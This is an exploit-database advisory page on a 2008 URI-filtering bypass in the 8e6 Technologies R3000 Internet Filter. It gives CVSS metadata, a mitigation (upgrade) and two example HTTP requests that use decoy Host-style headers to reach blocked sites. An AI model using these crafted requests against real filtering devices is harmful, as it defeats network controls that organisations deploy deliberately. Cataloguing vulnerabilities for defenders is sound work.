header-logo
Suggest Exploit
vendor:
R3000 Internet Filter
by:
SecurityFocus
7.5
CVSS
HIGH
Bypass URI Filtering
20
CWE
Product Name: R3000 Internet Filter
Affected Version From: 2.0.12.10
Affected Version To: 2.0.12.10
Patch Exists: YES
Related CWE: N/A
CPE: a:8e6_technologies:r3000_internet_filter
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

8e6 Technologies R3000 Internet Filter URI Filtering Bypass Vulnerability

Attackers can exploit this issue by sending specially crafted HTTP request packets for an arbitrary website. Successful exploits allow attackers to view sites that the device is meant to block. This could aid in further attacks.

Mitigation:

Upgrade to the latest version of 8e6 Technologies R3000 Internet Filter
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/30541/info

8e6 Technologies R3000 Internet Filter is prone to a vulnerability that allows attackers to bypass URI filters.

Attackers can exploit this issue by sending specially crafted HTTP request packets for an arbitrary website. Successful exploits allow attackers to view sites that the device is meant to block. This could aid in further attacks.

R3000 Internet Filter 2.0.12.10 is vulnerable; other versions may also be affected.

The following example requests are available:

GET / HTTP/1.0
X-DecoyHost: www.allowed.org
Host: www.blocked.org

GET / HTTP/1.0
X-Decoy: Host: www.allowed.org
Host: www.blocked.org

Navigation

Suggest Exploit

Services By CQR